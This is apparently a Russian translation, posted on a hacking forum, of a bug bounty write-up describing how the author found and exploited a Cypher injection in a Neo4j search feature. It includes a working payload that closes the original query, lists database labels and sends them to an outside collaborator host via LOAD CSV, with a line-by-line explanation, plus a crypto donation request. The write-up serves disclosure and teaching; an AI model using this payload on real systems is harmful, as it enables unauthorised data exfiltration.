ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
Самая недооцененная инъекция всех времен — CYPHER INJECTION. Как я нашел и использовал его? || Награда 2000$!
Cypher — это язык графовых запросов Neo4j, который позволяет извлекать данные из графа. Похоже на SQL для графиков, и был вдохновлен SQL.
Neo4j — это система управления базой данных графов, которая использует шифр в качестве основного языка для запроса данных из графов, точно так же, как mySQL (которая представляет собой систему управления реляционными базами данных), которая использует sql в качестве основного языка для запроса данных из таблиц.
Однажды Я занимался взломом в частной программе на HackerOne. К тому времени я уже нашел там несколько ошибок высокой степени серьезности. В этой программе было два участника пентеста, и для каждого из них были предоставлены учетные данные. У каждого арендатора было несколько организаций, и учетные данные давали доступ к некоторым из них. У каждого арендатора была функция поиска (для поиска организаций под ним), которая использовалась редко. Я зашел в burp suite и увидел запрос, который был сгенерирован функцией поиска. У меня есть привычка добавлять одинарную кавычку ( ' ) в конце поискового запроса без каких-либо ожиданий. Но, к моему удивлению, сервер вернул ошибку
(не полная ошибка, но она начиналась так, я нашел эту ошибку, когда я был новичком в баг баунти и никогда не думал о сохранении скриншотов ошибок) Это был мой первый раз, когда я увидел подобную ошибку, я скопировал начальную часть и поискал ее в google. Оттуда я узнал о базе данных neo4j и о том, что такое cypher. Cypher был очень похож на sql, поэтому следующее, что я искал, было "cypher injection" в google (поскольку инъекции на основе sql называются sql injection). Было очень мало статей об этой ошибке, по количеству помощи было всего 2-3 статьи. Я прочитал их все и получил представление о том, как я могу использовать эту ошибку. Мне потребовалось 2 дня, чтобы разработать рабочую полезную нагрузку для уязвимой цели. Информация, которую я нашел в Google, конечно, содержала базовые полезные нагрузки, но они не работали напрямую. Мне пришлось закрыть некоторые инвертированные запятые, неполные условия, квадратные скобки и, наконец, частично дополнить существующий запрос (так, чтобы в целом запрос работал нормально), чтобы, наконец, вырваться и сделать его вредоносным. Вот окончательный вариант полезной нагрузки, который я придумал
Код:
.*' | o ] AS filteredOrganisations CALL db.labels() YIELD label LOAD CSV FROM 'http://<collaborator-url-here>/' + label AS r //
Пояснение к полезной нагрузке
Код:
*' | o ] AS filteredOrganisations
Приведенная выше часть частично закрыла текущий запрос и помогла добавить новые предложения в исходный запрос.
Код:
CALL db.labels() YIELD label
Предложение CALL используется для оценки подзапроса, здесь подзапрос вызывает db.labels(), встроенную процедуру, которая возвращает список всех меток, используемых в базе данных. Предложение YIELD сохраняет возвращенный список в переменной «label».
Код:
LOAD CSV FROM 'http://<collaborator-url-here>/' + label AS r //
LOAD CSV - это пункт, используемый для загрузки файла csv из определенного пользователем места с помощью ключевого слова FROM. Здесь LOAD CSV делает запрос к клиенту burp collaborator, добавляя по одному элементу списка "label" за раз. В результате в burp collaborator было отправлено несколько запросов, и все запросы имели разные имена меток, добавленные к запрашиваемой конечной точке. Конечная часть 'AS r' использовалась только потому, что без нее запрос постоянно ломался, все, что она делает, это загружает файл csv как "r", а две последние прямые косые черты '//' использовались для того, чтобы закомментировать остальную часть запроса в той же строке.
Все эти части вместе взятые сформировали полезную нагрузку, которая помогла мне создать poc
Извините, ребята, за водяной знак, он все еще виден. Я просто хотел поделиться всей необработанной эксплуатацией. Я не редактирую видео, поэтому не хотелось покупать их подписку, но было важно скрыть доменное имя, поэтому пришлось его все равно отредактировать.
Вывод
Как только я создал вышеупомянутый poc, я был очень взволнован, так как это должна была быть моя первая критическая ошибка, связанная как с инъекцией, так и с ssrf. Я быстро сообщил об ошибке. На следующий день я попытался использовать его еще раз, но по какой-то причине мои основные полезные нагрузки обнаружения не работали вообще. Вскоре я понял, что ошибка исправлена. Меня вообще не уведомили. В тот момент это было неприятно, но через несколько часов члены команды признали ошибку и вознаградили меня самой высокой наградой, которую они предлагали.
Последнее редактирование: